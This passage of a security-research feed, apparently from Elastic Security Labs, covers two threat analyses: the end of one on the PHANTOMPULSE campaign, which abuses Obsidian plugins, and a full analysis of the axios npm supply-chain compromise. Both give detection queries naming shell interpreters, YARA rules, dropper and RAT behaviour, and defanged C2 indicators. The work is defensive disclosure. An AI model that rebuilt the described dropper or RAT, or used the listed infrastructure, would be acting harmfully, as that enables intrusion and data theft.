<p><img src="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/image39.png" alt="Funding wallet transactions" title="Funding wallet transactions" /></p>
<h4>Payload staging server</h4>
<p>The initial payload delivery server at <code>195.3.222[.]251</code> is hosted on <strong>AS 201814 (MEVSPACE sp. z o.o.)</strong>, a Polish hosting provider.</p>
<h4>PhantomPulse C2 panel</h4>
<p>The domain <code>fefea22134[.]net</code> resolves to Cloudflare IPs (<code>104.21.79[.]142</code> and <code>172.67.146[.]15</code>), indicating the C2 panel sits behind Cloudflare's proxy. Historical passive DNS shows the domain was first resolved on 2026-03-12, with earlier resolutions pointing to different IPs (<code>188.114.97[.]1</code> and <code>188.114.96[.]1</code>) on 2026-03-20.</p>
<p>The domain uses a Let's Encrypt certificate first observed on 2026-03-12:</p>
<ul>
<li><strong>Serial</strong>: <code>5130b76e63cd41f11e6b7c2a77f203f72b4</code></li>
<li><strong>Thumbprint</strong>: <code>6c0a1da746438d68f6c4ffbf9a10e873f3cf0499</code></li>
<li><strong>Validity</strong>: <code>2026-02-19 to 2026-05-20</code></li>
</ul>
<p>The certificate issuance date (Feb 19) aligns with the most recent blockchain C2 rotation transaction encoding <code>panel.fefea22134[.]net</code>, suggesting the infrastructure was provisioned the same day the C2 URL was published on-chain.</p>
<h2>Conclusion</h2>
<p>REF6598 demonstrates how threat actors continue to find creative initial access vectors by abusing trusted applications and employing targeted social engineering. By abusing Obsidian's community plugin ecosystem rather than exploiting a software vulnerability, the attackers bypass traditional security controls entirely, relying on the application's intended functionality to execute arbitrary code.</p>
<p>In the observed intrusion, <a href="https://www.elastic.co/kr/security/endpoint-security">Elastic Defend</a> detected and blocked the attack chain at the early stage before PHANTOMPULSE could execute, preventing the threat actor from achieving their objectives. The behavioral protections triggered on the anomalous process execution originating from Obsidian, stopping the payload delivery in its tracks.</p>
<p>Organizations in the financial and cryptocurrency sectors should be aware that legitimate productivity tools can be turned into attack vectors. Defenders should monitor for anomalous child process creation from applications like Obsidian and enforce application-level plugin policies where possible. The indicators and detection logic provided in this research can be used to identify and respond to this activity.</p>
<p>Elastic Security Labs will continue to monitor REF6598 for further developments, including additional macOS payloads once the associated C2 infrastructure becomes active.</p>
<h4>MITRE ATT&amp;CK</h4>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h5>Tactics</h5>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
</ul>
<h5>Techniques</h5>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/003/">Phishing: Spearphishing via Service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/002/">User Execution: Malicious File</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/002/">Command and Scripting Interpreter: AppleScript</a></li>
<li><a href="https://attack.mitre.org/techniques/T1140/">Deobfuscate/Decode Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1497/003/">Virtualization/Sandbox Evasion: Time Based Evasion</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1053/005/">Scheduled Task/Job: Scheduled Task</a></li>
<li><a href="https://attack.mitre.org/techniques/T1547/011/">Boot or Logon Autostart Execution: Plist Modification</a></li>
<li><a href="https://attack.mitre.org/techniques/T1056/001/">Input Capture: Keylogging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1113/">Screen Capture</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1548/002/">Abuse Elevation Control Mechanism: Bypass UAC</a></li>
</ul>
<h3>Detecting REF6598</h3>
<h4>Detection</h4>
<p>The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/ff73f1344671a50945c40c45af0ae0b6fc2ed840/rules/windows/execution_windows_powershell_susp_args.toml#L27">Suspicious Windows Powershell Arguments</a></li>
</ul>
<h4>Prevention</h4>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/c28c16baea1b0c9d2ebc63dfc1880635890fd91e/behavior/rules/windows/execution_suspicious_powershell_execution.toml#L8">Suspicious PowerShell Execution</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/c28c16baea1b0c9d2ebc63dfc1880635890fd91e/behavior/rules/windows/defense_evasion_network_module_loaded_from_suspicious_unbacked_memory.toml">Network Module Loaded from Suspicious Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/c28c16baea1b0c9d2ebc63dfc1880635890fd91e/behavior/rules/macos/defense_evasion_base64_encoded_string_execution_via_osascript.toml">Base64 Encoded String Execution via Osascript</a></li>
</ul>
<h4>Hunting queries in Elastic</h4>
<p>These hunting queries are used to identify the presence of the Obsidian community shell command plugin as well as the resulting command execution :</p>
<h5>KQL</h5>
<pre><code>event.category : file and process.name : (Obsidian or Obsidian.exe) and
 file.path : *obsidian-shellcommands*
</code></pre>
<pre><code>event.category : process and event.type : start and [process.](http://process.name)n[ame]
 (http://process.name) : (sh or bash or zsh or powershell.exe or cmd.exe)
 and process.parent.name : (Obsidian.exe or Obsidian)
</code></pre>
<h5>YARA</h5>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the <strong>PHANTOMPULL</strong> and <strong>PHANTOMPULSE</strong></p>
<pre><code>rule Windows_Trojan_PhantomPull {
    meta:
        author = &quot;Elastic Security&quot;
        os = &quot;Windows&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;PhantomPull&quot;
        threat_name = &quot;Windows.Trojan.PhantomPull&quot;
        reference_sample = &quot;70bbb38b70fd836d66e8166ec27be9aa8535b3876596fc80c45e3de4ce327980&quot;

    strings:
        $GetTickCount = { 48 83 C4 80 FF 15 ?? ?? ?? ?? 83 F8 FE 75 }
        $djb2 = { 45 8B 0C 83 41 BA A7 C6 67 4E 49 01 C9 45 8A 01 }
        $mutex = { 48 89 EB 83 E3 ?? 45 8A 2C 1C 45 32 2C 2E 45 0F B6 FD }
        $str_decrypt = { 39 C2 7E ?? 49 89 C1 41 83 E1 ?? 47 8A 1C 0A 44 32 1C 01 45 88 1C 00 48 FF C0 }
        $payload_decrypt = { 4C 89 C8 83 E0 0F 41 8A 14 02 43 30 14 0F 49 FF C1 44 39 CB }
        $url = &quot;/v1/updates/check?build=payloads&quot; ascii fullword
    condition:
        3 of them
}

</code></pre>
<pre><code>rule Windows_Trojan_PhantomPulse {
    meta:
        author = &quot;Elastic Security&quot;
        os = &quot;Windows&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;PhantomPulse&quot;
        threat_name = &quot;Windows.Trojan.PhantomPulse&quot;
        reference_sample = &quot;9e3890d43366faec26523edaf91712640056ea2481cdefe2f5dfa6b2b642085d&quot;

    strings:
        $a = &quot;[UNINSTALL 2/6] Removing Scheduled Task...&quot; fullword
        $b = &quot;PhantomInject: host PID=%lu&quot; fullword
        $c = &quot;inject: shellcode detected -&gt; InjectShellcodePhantom&quot; fullword
        $d = &quot;inject: shellcode detected, using phantom section hijack&quot; fullword
    condition:
        all of them
}
</code></pre>
<h3>Observations</h3>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>70bbb38b70fd836d66e8166ec27be9aa8535b3876596fc80c45e3de4ce327980</code></td>
<td>SHA-256</td>
<td><code>syncobs.exe</code></td>
<td>PHANTOMPULL loader</td>
</tr>
<tr>
<td><code>33dacf9f854f636216e5062ca252df8e5bed652efd78b86512f5b868b11ee70f</code></td>
<td>SHA-256</td>
<td></td>
<td>PhantomPulse RAT (final payload)</td>
</tr>
<tr>
<td><code>195.3.222[.]251</code></td>
<td>ipv4-addr</td>
<td></td>
<td>Staging server (PowerShell script &amp; loader delivery)</td>
</tr>
<tr>
<td><code>panel.fefea22134[.]net</code></td>
<td>domain-name</td>
<td></td>
<td>PhantomPulse C2 panel</td>
</tr>
<tr>
<td><code>0x666[.]info</code></td>
<td>domain-name</td>
<td></td>
<td>macOS dropper C2 domain</td>
</tr>
<tr>
<td><code>t[.]me/ax03bot</code></td>
<td>url</td>
<td></td>
<td>macOS dropper Telegram fallback C2</td>
</tr>
<tr>
<td><code>0xc117688c530b660e15085bF3A2B664117d8672aA</code></td>
<td>crypto-wallet</td>
<td></td>
<td>Ethereum wallet for blockchain C2 resolution</td>
</tr>
<tr>
<td><code>0x38796B8479fDAE0A72e5E7e326c87a637D0Cbc0E</code></td>
<td>crypto-wallet</td>
<td></td>
<td>Funding wallet for C2 resolution wallet</td>
</tr>
<tr>
<td><code>thoroughly-publisher-troy-clara[.]trycloudflare[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>Prior PhantomPulse C2 (Cloudflare Tunnel)</td>
</tr>
</tbody>
</table>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/phantom-in-the-vault/phantom-in-the-vault.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Inside the Axios supply chain compromise - one RAT to rule them all]]></title>
            <link>https://www.elastic.co/kr/security-labs/axios-one-rat-to-rule-them-all</link>
            <guid>axios-one-rat-to-rule-them-all</guid>
            <pubDate>Wed, 01 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs analyzes a supply chain compromise of the axios npm package delivering a unified cross-platform RAT]]></description>
            <content:encoded><![CDATA[<blockquote>
<p>Elastic Security Labs released <a href="https://www.elastic.co/kr/security-labs/axios-supply-chain-compromise-detections">initial triage and detection rules</a> for the Axios supply-chain compromise. This is a detailed analysis of the RAT and payloads.</p>
</blockquote>
<h2>Introduction</h2>
<p>Elastic Security Labs identified a supply chain compromise of the axios npm package, one of the most depended-upon packages in the JavaScript ecosystem with approximately 100 million weekly downloads. The attacker compromised a maintainer account and published backdoored versions that delivered a cross-platform Remote Access Trojan to macOS, Windows, and Linux systems through a malicious postinstall hook.</p>
<h3>Key takeaways</h3>
<ul>
<li>A compromised npm maintainer account (jasonsaayman) was used to publish two malicious versions of the widely used Axios HTTP client — 1.14.1 (tagged latest) and 0.30.4 (tagged legacy) — meaning a default npm install axios resolved to a backdoored package</li>
<li>The malicious JavaScript deploys platform-specific stage-2 implants for macOS, Windows, and Linux</li>
<li>All three stage-2 payloads are implementations of the <strong>same RAT</strong> — identical C2 protocol, command set, beacon cadence, and spoofed user-agent, written in PowerShell (Windows), C++ (macOS), and Python (Linux)</li>
<li>The dropper performs anti-forensic cleanup by deleting itself and swapping its package.json with a clean copy, erasing evidence of the postinstall trigger from <code>node_modules</code></li>
</ul>
<h2>Preamble</h2>
<p>On March 30, 2026, Elastic Security Labs detected a supply chain compromise targeting the <a href="https://www.npmjs.com/package/axios">axios</a> npm package through automated supply-chain monitoring. The attacker gained control of the npm account belonging to jasonsaayman, one of the project's primary maintainers, and published two backdoored versions within a 39-minute window.</p>
<p>The axios package is one of the most widely depended-upon HTTP client libraries in the JavaScript ecosystem. At the time of discovery, both the latest and legacy dist-tags pointed to compromised versions, ensuring that the majority of fresh installations pulled a backdoored release.</p>
<p>The malicious versions introduced a single new dependency: plain-crypto-js, a purpose-built package whose postinstall hook silently downloaded and executed platform-specific stage-2 RAT implants from sfrclak[.]com:8000.</p>
<p>What makes this campaign notable beyond its blast radius is the stage-2 tooling. The attacker deployed three parallel implementations of the <strong>same RAT</strong> — one each for Windows, macOS, and Linux — all sharing an identical C2 protocol, command structure, and beacon behavior. This isn't three different tools; it's a single cross-platform implant framework with platform-native implementations.</p>
<p>Elastic Security Labs filed a GitHub Security Advisory to the axios repository on <strong>March 31, 2026 at 01:50 AM UTC</strong> to coordinate disclosure and ensure the maintainers and npm registry could act on the compromised versions.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/axios-one-rat-to-rule-them-all/image3.png" alt="GitHub Security Advisory filed to the axios repository" title="GitHub Security Advisory filed to the axios repository" /></p>
<p>As the community flagged the compromise on social media, Elastic Security Labs shared early findings publicly to help defenders respond in real time.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/axios-one-rat-to-rule-them-all/image2.png" alt="Early coordination on X as Elastic Security Labs began sharing indicators and analysis during the active compromise" title="Early coordination on X as Elastic Security Labs began sharing indicators and analysis during the active compromise" /></p>
<p>This post covers the full attack chain: from the npm-level supply chain compromise through the obfuscated dropper, to the architecture of the cross-platform RAT and the meaningful differences between its three variants.</p>
<h2>Campaign overview</h2>
<p>The compromise is evident from the npm registry metadata. The maintainer email changed from <code>jasonsaayman@gmail[.]com</code> — present on all prior legitimate releases — to <code>ifstap@proton[.]me</code> on the malicious versions. The publishing method also changed:</p>
<table>
<thead>
<tr>
<th>Version</th>
<th>Published By</th>
<th>Method</th>
<th>Provenance</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>axios@1.14.0</code> (legitimate)</td>
<td><code>jasonsaayman@gmail[.]com</code></td>
<td>GitHub Actions OIDC</td>
<td>SLSA provenance attestations</td>
</tr>
<tr>
<td><code>axios@1.14.1</code> (compromised)</td>
<td><code>ifstap@proton[.]me</code></td>
<td>Direct CLI publish</td>
<td>None</td>
</tr>
<tr>
<td><code>axios@0.30.4</code> (compromised)</td>
<td><code>ifstap@proton[.]me</code></td>
<td>Direct CLI publish</td>
<td>None</td>
</tr>
</tbody>
</table>
<p>The shift from a trusted OIDC publisher flow with SLSA provenance to a direct CLI publish with a changed email is a clear indicator of unauthorized access.</p>
<h3>Timeline</h3>
<ul>
<li><strong>2026-02-18 17:19 UTC</strong> — <code>axios@0.30.3</code> published legitimately by <code>jasonsaayman@gmail[.]com</code></li>
<li><strong>2026-03-27 19:01 UTC</strong> — <code>axios@1.14.0</code> published legitimately via GitHub Actions OIDC</li>
<li><strong>2026-03-30 05:57 UTC</strong> — <code>plain-crypto-js@4.2.0</code> published by <code>nrwise</code> (<code>nrwise@proton.me</code>) — clean decoy to build registry history</li>
<li><strong>2026-03-30 23:59 UTC</strong> — <code>plain-crypto-js@4.2.1</code> published by <code>nrwise</code> — malicious version with <code>postinstall</code> backdoor</li>
<li><strong>2026-03-31 00:21 UTC</strong> — <code>axios@1.14.1</code> published by compromised account — tagged <code>latest</code></li>
<li><strong>2026-03-31 01:00 UTC</strong> — <code>axios@0.30.4</code> published by compromised account — tagged <code>legacy</code></li>
</ul>
<h3>Affected packages</h3>
<ul>
<li><strong><code>axios@1.14.1</code> — Malicious, tagged <code>latest</code> at time of discovery</strong></li>
<li><strong><code>axios@0.30.4</code> — Malicious, tagged <code>legacy</code> at time of discovery</strong></li>
<li><strong><code>plain-crypto-js@4.2.0</code> — Clean decoy, published to build registry history</strong></li>
<li><strong><code>plain-crypto-js@4.2.1</code> — Malicious, payload delivery vehicle (<code>postinstall</code> backdoor)</strong></li>
</ul>
<p><strong>Safe versions:</strong> <code>axios@1.14.0</code> (last legitimate 1.x release with SLSA provenance) and <code>axios@0.30.3</code> (last legitimate <code>0.30.x</code> release).</p>
<p>The attacker tagged both the latest and legacy channels, maximizing the blast radius across projects using either the current or legacy axios API.</p>
<h2>Code analysis</h2>
<h3>Stage 1: The plain-crypto-js dropper</h3>
<p>The entire delivery chain hinges on npm's postinstall lifecycle hook. Installing either compromised axios version pulls <code>plain-crypto-js@^4.2.1</code> as a dependency, which declares:</p>
<pre><code class="language-json">&quot;scripts&quot;: {
  &quot;postinstall&quot;: &quot;node setup.js&quot;
}
</code></pre>
<p>This causes setup.js to execute automatically during npm install — no user interaction required.</p>
<p>The setup.js file uses a two-layer encoding scheme to conceal its behavior:</p>
<ul>
<li><strong>Layer 1:</strong> String reversal followed by Base64 decoding</li>
<li><strong>Layer 2:</strong> XOR cipher using the key OrDeR_7077 with a position-dependent index (7 * i² % 10)</li>
</ul>
<p>All critical strings, module names, URLs, shell commands are stored in an encoded array stq[] and decoded at runtime. The decoded contents reveal the operational infrastructure:</p>
<h3>Platform-specific delivery</h3>
<p>After decoding its string table, the dropper checks os.platform() and branches into one of three delivery routines. Each sends an HTTP POST to <a href="http://sfrclak%5B.%5Dcom:8000/6202033">http://sfrclak[.]com:8000/6202033</a> with a platform-specific body — packages.npm.org/product0 (macOS), packages.npm.org/product1 (Windows), packages.npm.org/product2 (Linux) — allowing the C2 to serve the correct payload from a single endpoint. The packages.npm.org/ prefix is a deliberate attempt to make outbound traffic appear as benign npm registry communication in network logs:</p>
<table>
<thead>
<tr>
<th>Platform</th>
<th>Delivery Method</th>
<th>Stage-2 Location</th>
<th>Disguise</th>
</tr>
</thead>
<tbody>
<tr>
<td>macOS</td>
<td>AppleScript via osascript downloads binary with curl</td>
<td><code>/Library/Caches/com.apple.act.mond</code></td>
<td>Apple system daemon</td>
</tr>
<tr>
<td>Windows</td>
<td>VBScript downloads .ps1 via curl, executes via renamed PowerShell (<code>%PROGRAMDATA%\wt.exe</code>)</td>
<td><code>%TEMP%\6202033.ps1</code> (transient)</td>
<td>Windows Terminal</td>
</tr>
<tr>
<td>Linux</td>
<td>Direct curl download and python3 execution</td>
<td><code>/tmp/ld.py</code></td>
<td>None</td>
</tr>
</tbody>
</table>
<h3>Anti-forensics</h3>
<p>The dropper performs two cleanup actions:</p>
<ol>
<li><strong>Self-deletion:</strong> setup.js removes itself via fs.unlink(__filename)</li>
<li><strong>Package manifest swap:</strong> A clean file named package.md (containing a benign version 4.2.0 configuration with no postinstall hook) is renamed to package.json, overwriting the malicious version</li>
</ol>
<p>Post-incident inspection of node_modules/plain-crypto-js/package.json reveals no trace of the postinstall trigger. The malicious setup.js is gone. Only the lockfile and npm audit logs retain evidence.</p>
<h3>Stage 2: Cross-platform RAT</h3>
<p>The three stage-2 payloads: PowerShell for Windows, compiled C++ for macOS, Python for Linux  are not three different tools. They are three implementations of the <strong>same RAT specification</strong>, sharing an identical C2 protocol, command set, message format, and operational behavior. The consistency strongly indicates a single developer or tightly coordinated team working from a shared design document.</p>
<h4>Shared architecture</h4>
<p>The following properties are <strong>identical across all three variants:</strong></p>
<ul>
<li><strong>C2 transport: HTTP POST</strong></li>
<li><strong>Body encoding: Base64-encoded JSON</strong></li>
<li><strong>User-Agent: <code>mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)</code></strong></li>
<li><strong>Beacon interval: 60 seconds</strong></li>
<li><strong>Session UID: 16-character random alphanumeric string, generated per-execution</strong></li>
<li><strong>Outbound message types: <code>FirstInfo</code>, <code>BaseInfo</code>, <code>CmdResult</code></strong></li>
<li><strong>Inbound command types: <code>kill</code>, <code>peinject</code>, <code>runscript</code>, <code>rundir</code></strong></li>
<li><strong>Response command types: <code>rsp_kill</code>, <code>rsp_peinject</code>, <code>rsp_runscript</code>, <code>rsp_rundir</code></strong></li>
</ul>
<p>The spoofed IE8/Windows XP user-agent string is particularly notable, it is anachronistic on all three platforms, and its presence on a macOS or Linux host is a strong detection indicator.</p>
<h4>Initialization and reconnaissance</h4>
<p>On startup, each variant:</p>
<ol>
<li><strong>Generates a session UID</strong> — 16 random alphanumeric characters, included in every subsequent C2 message</li>
<li><strong>Detects OS and architecture</strong> — reports platform-specific identifiers (e.g., windows_x64, macOS, linux_x64)</li>
<li><strong>Enumerates initial directories</strong> of interest (user profile, documents, desktop, config directories)</li>
<li><strong>Sends a FirstInfo beacon</strong> containing the UID, OS identifier, and directory snapshot</li>
</ol>
<p>After initialization, the implant enters the main loop. The first BaseInfo heartbeat includes a comprehensive system profile. The same categories of data are collected on all platforms, though the underlying APIs differ:</p>
<table>
<thead>
<tr>
<th>Data Collected</th>
<th>Windows Source</th>
<th>macOS Source</th>
<th>Linux Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>Hostname</td>
<td>%COMPUTERNAME% env var</td>
<td>gethostname()</td>
<td>/proc/sys/kernel/hostname</td>
</tr>
<tr>
<td>Username</td>
<td>%USERNAME% env var</td>
<td>getuid() + getpwuid()</td>
<td>os.getlogin()</td>
</tr>
<tr>
<td>OS version</td>
<td>WMI / registry</td>
<td>sysctlbyname(&quot;kern.osproductversion&quot;)</td>
<td>platform.system() + platform.release()</td>
</tr>
<tr>
<td>Timezone</td>
<td>System timezone</td>
<td>localtime_r()</td>
<td>datetime.timezone</td>
</tr>
<tr>
<td>Boot time</td>
<td>System uptime</td>
<td>sysctl(&quot;kern.boottime&quot;)</td>
<td>/proc/uptime</td>
</tr>
<tr>
<td>Install date</td>
<td>Registry / WMI</td>
<td>stat(&quot;/&quot;) or sysctl</td>
<td>ctime of /var/log/installer or /var/log/dpkg.log</td>
</tr>
<tr>
<td>Hardware model</td>
<td>WMI</td>
<td>sysctlbyname(&quot;hw.model&quot;)</td>
<td>/sys/class/dmi/id/product_name</td>
</tr>
<tr>
<td>CPU type</td>
<td>WMI</td>
<td>sysctlbyname()</td>
<td>platform.machine()</td>
</tr>
<tr>
<td>Process list</td>
<td>Full PID, session, name, path</td>
<td>popen(&quot;ps&quot;) (up to 1000)</td>
<td>Full /proc enumeration (PID, PPID, user, cmdline)</td>
</tr>
</tbody>
</table>
<p>Subsequent heartbeats are lightweight, containing only a timestamp to confirm the implant is alive.</p>
<h4>Command dispatch</h4>
<p>The C2 response is parsed as JSON, and the type field determines the action. All three variants implement the same four commands:</p>
<p><strong>kill — Self-termination.</strong> Sends an rsp_kill acknowledgment and exits. The Windows variant's persistence mechanism (registry key + batch file) survives the kill command unless explicitly cleaned up; the macOS and Linux variants have no persistence of their own.</p>
<p><strong>runscript — Script/command execution.</strong> The operator's primary interaction command. Accepts a Script field (code to execute) and a Param field (arguments). When Script is empty, Param is run directly as a command. The execution mechanism is platform-native:</p>
<table>
<thead>
<tr>
<th>Platform</th>
<th>Execution Mechanism</th>
</tr>
</thead>
<tbody>
<tr>
<td>Windows</td>
<td>PowerShell with -NoProfile -ep Bypass</td>
</tr>
<tr>
<td>macOS</td>
<td>AppleScript via /usr/bin/osascript</td>
</tr>
<tr>
<td>Linux</td>
<td>Shell via subprocess.run(shell=True) or Python via python3 -c</td>
</tr>
</tbody>
</table>
<p><strong>peinject — Binary payload delivery.</strong> Despite the Windows-centric naming (&quot;PE inject&quot;), all three platforms implement this as a way to drop and execute binary payloads:</p>
<table>
<thead>
<tr>
<th>Platform</th>
<th>Implementation</th>
</tr>
</thead>
<tbody>
<tr>
<td>Windows</td>
<td>Reflective .NET assembly loading via [System.Reflection.Assembly]::Load()</td>
</tr>
<tr>
<td>macOS</td>
<td>Base64-decodes and drops a binary, executes with operator-supplied parameters.</td>
</tr>
<tr>
<td>Linux</td>
<td>Base64-decodes a binary to /tmp/.&lt;random 6-char string&gt; (hidden file), launches via subprocess.Popen().</td>
</tr>
</tbody>
</table>
<p>The Windows implementation has in-memory execution with no file drop but without disabling AMSI which will certainly flag on the Assembly load. The macOS and Linux variants take the simpler approach of writing a binary to disk and executing it directly.</p>
<p><strong>rundir — Directory enumeration.</strong> Accepts paths and returns detailed file listings (name, size, type, creation/modification timestamps, child count for directories). Allows the operator to interactively browse the filesystem.</p>
<h4>Capability summary</h4>
<table>
<thead>
<tr>
<th>Capability</th>
<th>Windows (PowerShell)</th>
<th>macOS (C++)</th>
<th>Linux (Python)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Persistence</td>
<td>Registry Run key + hidden .bat</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>Script execution</td>
<td>PowerShell</td>
<td>AppleScript via osascript</td>
<td>Shell or Python inline</td>
</tr>
<tr>
<td>Binary injection</td>
<td>Reflective .NET load injecting into cmd.exe</td>
<td>Binary drop + execute</td>
<td>Binary drop to /tmp/ + execute</td>
</tr>
<tr>
<td>Anti-forensics</td>
<td>Hidden windows, temp file cleanup</td>
<td>Hidden temp .scpt</td>
<td>Hidden /tmp/.XXXXXX files</td>
</tr>
</tbody>
</table>
<h2>Attribution</h2>
<p>The macOS Mach-O binary delivered by the <code>plain-crypto-js</code> postinstall hook exhibits significant overlap with <strong>WAVESHAPER</strong>, a C++ backdoor tracked by Mandiant and attributed to <strong>UNC1069</strong>, a DPRK-linked threat cluster.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/axios-one-rat-to-rule-them-all/image1.png" alt="Side-by-side comparison of the axios compromise macOS sample and WAVESHAPER indicators" title="Side-by-side comparison of the axios compromise macOS sample and WAVESHAPER indicators" /></p>
<h2>Conclusion</h2>
<p>This campaign demonstrates the continued attractiveness of the npm ecosystem as a supply chain attack vector. By compromising a single maintainer account on one of the JavaScript ecosystem's most depended-upon packages, the attacker gained a delivery mechanism with potential reach into millions of environments.</p>
<p>The toolkit's most reliable detection indicator is also its most curious design choice: the IE8/Windows XP user-agent string hardcoded identically across all three platform variants. While it provides a consistent protocol fingerprint for C2 server-side routing, it is trivially detectable on any modern network — and is an immediate anomaly on macOS and Linux hosts.</p>
<p>Elastic Security Labs will continue monitoring this activity cluster and will update this post with any additional findings.</p>
<h2>MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1195/001/">Supply Chain Compromise: Compromise Software Dependencies</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/007/">Command and Scripting Interpreter: JavaScript</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/002/">Command and Scripting Interpreter: AppleScript</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/004/">Command and Scripting Interpreter: Unix Shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/006/">Command and Scripting Interpreter: Python</a></li>
<li><a href="https://attack.mitre.org/techniques/T1547/001/">Boot or Logon Autostart Execution: Registry Run Keys</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/">Masquerading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564/001/">Hidden Files and Directories</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1070/004/">Indicator Removal: File Deletion</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1083/">File and Directory Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1071/001/">Application Layer Protocol: Web Protocols</a></li>
<li><a href="https://attack.mitre.org/techniques/T1571/">Non-Standard Port</a></li>
<li><a href="https://attack.mitre.org/techniques/T1132/001/">Data Encoding: Standard Encoding</a></li>
<li><a href="https://attack.mitre.org/techniques/T1105/">Ingress Tool Transfer</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>6202033.ps1</code></td>
<td align="left">Windows payload</td>
</tr>
<tr>
<td align="left"><code>92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>com.apple.act.mond</code></td>
<td align="left">MacOS payload</td>
</tr>
<tr>
<td align="left"><code>fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>ld.py</code></td>
<td align="left">Linux payload</td>
</tr>
<tr>
<td align="left"><code>sfrclak[.]com</code></td>
<td align="left">DOMAIN</td>
<td align="left"></td>
<td align="left">C2</td>
</tr>
<tr>
<td align="left"><code>142.11.206[.]73</code></td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">C2</td>
</tr>
